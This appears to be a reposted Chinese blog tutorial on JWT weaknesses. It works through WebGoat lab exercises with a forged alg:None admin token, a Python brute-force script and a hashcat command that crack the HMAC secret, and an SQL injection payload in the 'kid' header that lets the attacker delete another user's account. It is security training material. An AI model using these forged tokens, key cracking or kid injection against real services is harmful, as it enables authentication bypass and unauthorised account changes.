当前位置:   article > 正文

JWT(JSON Web Token)漏洞_jwt漏洞

jwt漏洞

一、JWT介绍

1.1概念

JSON Web Token (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于
在各方之间作为 JSON 对象安全地传输信息。该信息可以被验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 的公钥/私钥对进行签名。

1.2、JWT结构

在这里插入图片描述

JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。

1、头部(Header)

以上面的JWT为例,其中的头部解码后是这样的

{
  "alg":"HS256",
  "typ":"JWT"
}
  • 1
  • 2
  • 3
  • 4

alg

是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。

typ

说明这个token的类型为JWT

2、声明(Claims)

上面的例子的声明解码后是:

{
  "exp": 1416471934,
  "user_name": "user",
  "scope": [
    "read",
    "write"
  ],
  "authorities": [
    "ROLE_ADMIN",
    "ROLE_USER"
  ],
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "client_id": "my-client-with-secret"
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

其中有些字段是JWT的固定参数,有特定的含义;而另一些是服务器自定义的参数,用来表示通话信息等。

JWT固定参数有:

iss:发行人

exp:到期时间

sub:主题

aud:用户

nbf:在此之前不可用

iat:发布时间

jti:JWT ID用于标识该JWT

这段JSON同样以Base64 URL 编码后作为JWT的一部分。

3、签名

服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。

上面的例子的的签名为

qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk
  • 1

下面是一个用HS256生成JWT的代码例子

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)
  • 1

1.3、JWT获取流程

在这里插入图片描述

1、用户端登录,用户名和密码在请求中被发往服务器

2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行签名,生成该用户的JWT。此时,服务器并没有保存登录状态信息。

3、服务器将JWT(通过响应)返回给客户端

4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中

5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态

6、服务器返回响应

1.4、Base64 URL编码

在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。

二、删除签名

靶机采用webgoat JWT tokens第4题,该题的目的是更改token成为管理员,继而重置投票
在这里插入图片描述
首先找到重置按钮
在这里插入图片描述
然后选择一个用户
在这里插入图片描述
点击重置,并用Burp Suite抓取请求包
在这里插入图片描述

打开网站https://jwt.io解码token,得到JWT头部和声明。
在这里插入图片描述

声明中有一个admin字段,那么这题应该是需要我们将false改成true。

但修改JWT声明内容,签名需要重新生成,生成签名又需要密钥,但我们又没有密钥?!

前面讲JWT的结构说过,alg的值是可以为None的,这时也就是不加签名,签名的值就可以留空。

https://jwt.io这个网站上是不允许将alg设置为None的。
在这里插入图片描述

所以,需要我们使用编码工具手动编码

头部

{
  "alg": "None"
}
  • 1
  • 2
  • 3

Base64编码后得到:

ewogICJhbGciOiAiTm9uZSIKfQ==
  • 1

声明:

{
  "iat": 1630751159,
  "admin": "true",
  "user": "Tom"
}
  • 1
  • 2
  • 3
  • 4
  • 5

Base64编码后得到:

ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=
  • 1

因为我们要的是Base64 URL编码,手动去掉"="号,得到JWT(注意签名前的"."不能去掉):

ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
  • 1

将这个作为access_token=的值就可以通过了
在这里插入图片描述
在这里插入图片描述

三、爆破HMAC密钥

靶机采用webgoat JWT tokens第5题,该题的目的是找出密钥,然后创建一个新的令牌并对其签名。

下面开始爆破,不过好在提示里已经给出了字典

在这里插入图片描述
方法一、脚本爆破

脚本搬大神的(稍微修改了一点)

首先PyCharm安装PyJWT库和termcolor库
在这里插入图片描述

'''
1、若签名直接校验成功,则key_为有效密钥;
2、若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuerAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)
导致校验失败,说明并非密钥错误导致,则key_也为有效密钥;
3、若因密钥错误(jwt.exceptions.InvalidSignatureError)导致检验失败,则key_为无效密钥;
4、若为其他原因(如JWT字符串格式错误)导致校验失败,根本无法验证当前key_是否有效。
'''

import jwt
import termcolor

jwt_str = R'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs' \
          R'ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFt' \
          R'ZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamV' \
          R'jdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'

with open('google-10000-english.txt') as f:
    for line in f:
        key_ = line.strip()
        try:
            jwt.decode(jwt_str,verify=True,key=key_,algorithms='HS256')
            print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                jwt.exceptions.InvalidIssuerError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError):
            print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
            break
        except jwt.exceptions.InvalidSignatureError:
            print('\r','' * 64,'\r\btry',key_,end='',flush=True)
            continue

    else:
            print('\r','\bsorry! no key be found.')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

运行结果,得到密钥victory

在这里插入图片描述
https://jwt.io上生成新令牌,修改username,exp字段,最后填上密码。
在这里插入图片描述
题目中提交新令牌
在这里插入图片描述
方法二:hashcat爆破
电脑中下载hashcat:https://github.com/hashcat/hashcat/releases/tag/v6.2.3

令牌保存为txt文档,并和字典一同放在hashcat根目录。

执行命令(我是在powershell中执行)

.\hashcat.exe -m 16500 .\jwt.txt -a 0 .\google-10000-english.txt --force

在这里插入图片描述

四、sql注入

靶机采用webgoat JWT tokens第8题,该题的目的是删除TOM的账户。

选择TOM账户并点击删除,BurpSuite抓包。
在这里插入图片描述
该请求参数带有JWT令牌,但是jerry的令牌,所以需要对JWT做手脚。

将令牌拷贝到https://jwt.io做解析。
在这里插入图片描述
本题中的 WebGoat 提示告诉我们尝试通过 SQL 注入操作“kid”参数,因此如果“webgoat_key”是用于获取加密密钥的标识符,则可能会强制使用新密钥,由此创建一个新的有效令牌

通过查询源码(https://github.com/WebGoat/WebGoat/blob/develop/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java),可以看到查询的sql语句。
在这里插入图片描述

"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"
  • 1

构造注入语句

hacked' UNION select 'delete' from INFORMATION_SCHEMA.SYSTEM_USERS --
  • 1

同时通过源码,可以看到密钥在用于检查 JWT 声明之前已进行 base64 解码,因此我们反推,在数据库中存储的是经过base64编码的。

delete进行base64编码后,新sql语句为

hacked' UNION select 'ZGVsZXRl' from INFORMATION_SCHEMA.SYSTEM_USERS --
  • 1

https://jwt.io上重新编码
在这里插入图片描述
将 JWT token 粘贴到 Burp Repeater中发送,返回结果中看到成功删除。

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/1005711
推荐阅读
相关标签
  

闽ICP备14008679号